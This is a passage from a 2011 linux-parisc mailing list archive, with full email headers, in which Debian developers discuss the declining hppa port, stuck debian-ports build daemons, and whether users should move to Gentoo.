> > some notion of a "stable" release - I don't think an unstable-only
> > release is very useful outside of a developer's basement, and not
> > something I'd want to host our infrastructure systems on.
> >
> > Since I don't see that happening, yes, Gentoo.
> >
> 
> We need like 3-4 more people on the project to properly support
> debian-ports for hppa. I don't think that type of support is going to
> materialize any time soon.

It's unclear whether any volunteer support for hppa remains within
"debian".  I added the parisc-linux list to the cc list to make people
aware of the situation.

Aside from the issue about releases, the buildd process is stuck
due to unresolved dependencies.  Maybe it should be shutdown to
preserve state.

> Therefore I think Gentoo is probably the best option for the community.
> 
> I don't care how we achieve a sustainable distribution for hppa, only
> that we continue to provide value to our user community.

There is some hppa work still being done in Gentoo, so I tend to agree
but I have no direct experience with it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 11:29:15 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <1306513755.3264.7.camel@mulgrave.site>
References: <20110525211710.GA1562@hiauly1.hia.nrc.ca>
	 <BANLkTikFc1Euw-c+qiUaUznMg7b_1a+4Hg@mail.gmail.com>
	 <20110525234205.GB2556@dannf.org>
	 <20110526012304.GB1912@hiauly1.hia.nrc.ca>
	 <20110526144610.GC2556@dannf.org>
	 <20110526152900.GA5200@hiauly1.hia.nrc.ca>
	 <20110526160951.GA19134@dannf.org>
	 <BANLkTimmzyQWPD0BribiDgM7W6yvOJwUJA@mail.gmail.com>
	 <20110527145656.GB21744@dannf.org>
	 <BANLkTi=BODRACq5N1XBrN+JovNjE2VTibQ@mail.gmail.com>
	 <20110527162453.GA10333@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306513767 15552 80.91.229.12 (27 May 2011 16:29:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 16:29:27 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 18:29:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QPzua-0003Ms-Cz
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 18:29:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750968Ab1E0Q3U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 12:29:20 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46365 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750774Ab1E0Q3T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 12:29:19 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7305B8EE0E8;
	Fri, 27 May 2011 09:29:19 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Bq9xbISQc2g6; Fri, 27 May 2011 09:29:19 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6D91C8EE0E2;
	Fri, 27 May 2011 09:29:18 -0700 (PDT)
In-Reply-To: <20110527162453.GA10333@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3753>

On Fri, 2011-05-27 at 12:24 -0400, John David Anglin wrote:
> On Fri, 27 May 2011, Carlos O'Donell wrote:
> 
> > On Fri, May 27, 2011 at 10:56 AM, dann frazier <dannf@dannf.org> wrote:
> > > Probably. debian-ports is the only other option I know of - but it
> > > means we need people to step up and do random bits of release work
> > > (keeping a working installer, etc). I also think we'd need to have
> > > some notion of a "stable" release - I don't think an unstable-only
> > > release is very useful outside of a developer's basement, and not
> > > something I'd want to host our infrastructure systems on.

I also don't think an unstable only release is viable.  Can't we just
run a private buildd on stable, testing and unstable?

> > > Since I don't see that happening, yes, Gentoo.
> > >
> > 
> > We need like 3-4 more people on the project to properly support
> > debian-ports for hppa. I don't think that type of support is going to
> > materialize any time soon.
> 
> It's unclear whether any volunteer support for hppa remains within
> "debian".  I added the parisc-linux list to the cc list to make people
> aware of the situation.
> 
> Aside from the issue about releases, the buildd process is stuck
> due to unresolved dependencies.  Maybe it should be shutdown to
> preserve state.
> 
> > Therefore I think Gentoo is probably the best option for the community.
> > 
> > I don't care how we achieve a sustainable distribution for hppa, only
> > that we continue to provide value to our user community.
> 
> There is some hppa work still being done in Gentoo, so I tend to agree
> but I have no direct experience with it.

Sure ... I've no objection to moving from debian to gentoo if that means
we get a working distribution.  It's a bit of a hassle, since I have to
move all my x86 boxes as well (don't ask, complex infrastructure with a
parisc as gateway mirror in the middle), but I suppose it's pain only
once.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 10:35:18 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20110527163518.GD21744@dannf.org>
References: <BANLkTikFc1Euw-c+qiUaUznMg7b_1a+4Hg@mail.gmail.com>
 <20110525234205.GB2556@dannf.org>
 <20110526012304.GB1912@hiauly1.hia.nrc.ca>
 <20110526144610.GC2556@dannf.org>
 <20110526152900.GA5200@hiauly1.hia.nrc.ca>
 <20110526160951.GA19134@dannf.org>
 <BANLkTimmzyQWPD0BribiDgM7W6yvOJwUJA@mail.gmail.com>
 <20110527145656.GB21744@dannf.org>
 <BANLkTi=BODRACq5N1XBrN+JovNjE2VTibQ@mail.gmail.com>
 <20110527162453.GA10333@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306514761 22223 80.91.229.12 (27 May 2011 16:46:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 16:46:01 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 18:45:56 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ0Ad-0003v0-OM
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 18:45:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754245Ab1E0Qpz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 12:45:55 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:47382 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752078Ab1E0Qpy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 12:45:54 -0400
X-Greylist: delayed 634 seconds by postgrey-1.27 at vger.kernel.org; Fri, 27 May 2011 12:45:54 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id CCA9033E005B;
	Fri, 27 May 2011 10:35:19 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LN0aD5NwC4T2; Fri, 27 May 2011 10:35:19 -0600 (MDT)
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 17C2A33E0048;
	Fri, 27 May 2011 10:35:19 -0600 (MDT)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id E3AF1C8E0F; Fri, 27 May 2011 10:35:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110527162453.GA10333@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3754>

On Fri, May 27, 2011 at 12:24:54PM -0400, John David Anglin wrote:
> On Fri, 27 May 2011, Carlos O'Donell wrote:
> 
> > On Fri, May 27, 2011 at 10:56 AM, dann frazier <dannf@dannf.org> wrote:
> > > Probably. debian-ports is the only other option I know of - but it
> > > means we need people to step up and do random bits of release work
> > > (keeping a working installer, etc). I also think we'd need to have
> > > some notion of a "stable" release - I don't think an unstable-only
> > > release is very useful outside of a developer's basement, and not
> > > something I'd want to host our infrastructure systems on.
> > >
> > > Since I don't see that happening, yes, Gentoo.
> > >
> > 
> > We need like 3-4 more people on the project to properly support
> > debian-ports for hppa. I don't think that type of support is going to
> > materialize any time soon.
> 
> It's unclear whether any volunteer support for hppa remains within
> "debian".  I added the parisc-linux list to the cc list to make people
> aware of the situation.
> 
> Aside from the issue about releases, the buildd process is stuck
> due to unresolved dependencies.  Maybe it should be shutdown to
> preserve state.

Stuck? Why do you say that? We are only building updates for lenny
currently, and that seems to be working just fine.

> > Therefore I think Gentoo is probably the best option for the community.
> > 
> > I don't care how we achieve a sustainable distribution for hppa, only
> > that we continue to provide value to our user community.
> 
> There is some hppa work still being done in Gentoo, so I tend to agree
> but I have no direct experience with it.
> 
> Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 10:37:44 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20110527163744.GE21744@dannf.org>
References: <20110525234205.GB2556@dannf.org>
 <20110526012304.GB1912@hiauly1.hia.nrc.ca>
 <20110526144610.GC2556@dannf.org>
 <20110526152900.GA5200@hiauly1.hia.nrc.ca>
 <20110526160951.GA19134@dannf.org>
 <BANLkTimmzyQWPD0BribiDgM7W6yvOJwUJA@mail.gmail.com>
 <20110527145656.GB21744@dannf.org>
 <BANLkTi=BODRACq5N1XBrN+JovNjE2VTibQ@mail.gmail.com>
 <20110527162453.GA10333@hiauly1.hia.nrc.ca>
 <1306513755.3264.7.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306514765 22263 80.91.229.12 (27 May 2011 16:46:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 16:46:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 18:46:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ0Ae-0003v0-8N
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 18:45:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754725Ab1E0Qpz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 12:45:55 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:47384 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753262Ab1E0Qpz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 12:45:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id B79E733E0253;
	Fri, 27 May 2011 10:37:45 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9ginsjSW+itf; Fri, 27 May 2011 10:37:44 -0600 (MDT)
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id DBEBE33E0048;
	Fri, 27 May 2011 10:37:44 -0600 (MDT)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 8C3C2C8E0F; Fri, 27 May 2011 10:37:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1306513755.3264.7.camel@mulgrave.site>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3755>

On Fri, May 27, 2011 at 11:29:15AM -0500, James Bottomley wrote:
> On Fri, 2011-05-27 at 12:24 -0400, John David Anglin wrote:
> > On Fri, 27 May 2011, Carlos O'Donell wrote:
> > 
> > > On Fri, May 27, 2011 at 10:56 AM, dann frazier <dannf@dannf.org> wrote:
> > > > Probably. debian-ports is the only other option I know of - but it
> > > > means we need people to step up and do random bits of release work
> > > > (keeping a working installer, etc). I also think we'd need to have
> > > > some notion of a "stable" release - I don't think an unstable-only
> > > > release is very useful outside of a developer's basement, and not
> > > > something I'd want to host our infrastructure systems on.
> 
> I also don't think an unstable only release is viable.  Can't we just
> run a private buildd on stable, testing and unstable?

debian-ports has offered to provide this infrastructure for us - but
they currently only build sid. We'd need some extra manpower to help
them work on the processes to maintain other suites.

> > > > Since I don't see that happening, yes, Gentoo.
> > > >
> > > 
> > > We need like 3-4 more people on the project to properly support
> > > debian-ports for hppa. I don't think that type of support is going to
> > > materialize any time soon.
> > 
> > It's unclear whether any volunteer support for hppa remains within
> > "debian".  I added the parisc-linux list to the cc list to make people
> > aware of the situation.
> > 
> > Aside from the issue about releases, the buildd process is stuck
> > due to unresolved dependencies.  Maybe it should be shutdown to
> > preserve state.
> > 
> > > Therefore I think Gentoo is probably the best option for the community.
> > > 
> > > I don't care how we achieve a sustainable distribution for hppa, only
> > > that we continue to provide value to our user community.
> > 
> > There is some hppa work still being done in Gentoo, so I tend to agree
> > but I have no direct experience with it.
> 
> Sure ... I've no objection to moving from debian to gentoo if that means
> we get a working distribution.  It's a bit of a hassle, since I have to
> move all my x86 boxes as well (don't ask, complex infrastructure with a
> parisc as gateway mirror in the middle), but I suppose it's pain only
> once.
> 
> James
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 14:18:41 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20110527181842.9ED0A4ED8@hiauly1.hia.nrc.ca>
References: <20110527163518.GD21744@dannf.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306520332 26189 80.91.229.12 (27 May 2011 18:18:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 18:18:52 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dannf@dannf.org (dann frazier)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 20:18:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ1cT-0005PY-QB
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 20:18:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752956Ab1E0SSp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 14:18:45 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1770 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752180Ab1E0SSo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 14:18:44 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9ED0A4ED8; Fri, 27 May 2011 14:18:42 -0400 (EDT)
In-Reply-To: <20110527163518.GD21744@dannf.org> from "dann frazier" at May 27, 2011 10:35:18 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3756
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3756>

> > Aside from the issue about releases, the buildd process is stuck
> > due to unresolved dependencies.  Maybe it should be shutdown to
> > preserve state.
> 
> Stuck? Why do you say that? We are only building updates for lenny
> currently, and that seems to be working just fine.

I was referring to unstable on debian-ports.

I setup per this message:
http://lists.debian.org/debian-hppa/2011/05/msg00002.html
A few packages updated but nothing has updated in the last
couple of days.

See:
http://buildd.debian-ports.org/stats/hppa.txt

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 13:49:48 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20110527194948.GG21744@dannf.org>
References: <20110527163518.GD21744@dannf.org>
 <20110527181842.9ED0A4ED8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306525805 27629 80.91.229.12 (27 May 2011 19:50:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 19:50:05 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 21:50:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ32m-00029j-5g
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 21:50:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756808Ab1E0Tt5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 15:49:57 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:45741 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756806Ab1E0Ttz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 15:49:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8C3F933E005B;
	Fri, 27 May 2011 13:49:54 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5YZYUHVxASA7; Fri, 27 May 2011 13:49:49 -0600 (MDT)
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 56CFA33E0043;
	Fri, 27 May 2011 13:49:49 -0600 (MDT)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id E1D23C8E0F; Fri, 27 May 2011 13:49:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110527181842.9ED0A4ED8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3757
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3757>

On Fri, May 27, 2011 at 02:18:41PM -0400, John David Anglin wrote:
> > > Aside from the issue about releases, the buildd process is stuck
> > > due to unresolved dependencies.  Maybe it should be shutdown to
> > > preserve state.
> > 
> > Stuck? Why do you say that? We are only building updates for lenny
> > currently, and that seems to be working just fine.
> 
> I was referring to unstable on debian-ports.
> 
> I setup per this message:
> http://lists.debian.org/debian-hppa/2011/05/msg00002.html
> A few packages updated but nothing has updated in the last
> couple of days.
> 
> See:
> http://buildd.debian-ports.org/stats/hppa.txt

There are no buildds configured for building debian-ports yet, as far
as I know.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 16:20:46 -0400
Organization: nrc.ca
Lines: 16
Approved: news@gmane.org
Message-ID: <20110527202046.GA12670@hiauly1.hia.nrc.ca>
References: <20110527163518.GD21744@dannf.org> <20110527181842.9ED0A4ED8@hiauly1.hia.nrc.ca> <20110527194948.GG21744@dannf.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306527658 6404 80.91.229.12 (27 May 2011 20:20:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 20:20:58 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 22:20:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ3Wd-0003y3-VP
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 22:20:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752796Ab1E0UUv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 16:20:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1837 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752287Ab1E0UUu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 16:20:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0509A4FCB; Fri, 27 May 2011 16:20:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110527194948.GG21744@dannf.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3758>

On Fri, 27 May 2011, dann frazier wrote:

> There are no buildds configured for building debian-ports yet, as far
> as I know.

Will this happen?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Fri, 27 May 2011 15:35:16 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20110527213516.GH21744@dannf.org>
References: <20110527163518.GD21744@dannf.org>
 <20110527181842.9ED0A4ED8@hiauly1.hia.nrc.ca>
 <20110527194948.GG21744@dannf.org>
 <20110527202046.GA12670@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306532124 32678 80.91.229.12 (27 May 2011 21:35:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 27 May 2011 21:35:24 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 27 23:35:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QQ4gh-0003NE-0Q
	for glpp-linux-parisc@lo.gmane.org; Fri, 27 May 2011 23:35:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756461Ab1E0VfS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 May 2011 17:35:18 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:59675 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755516Ab1E0VfR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 May 2011 17:35:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 3CEA533E0048;
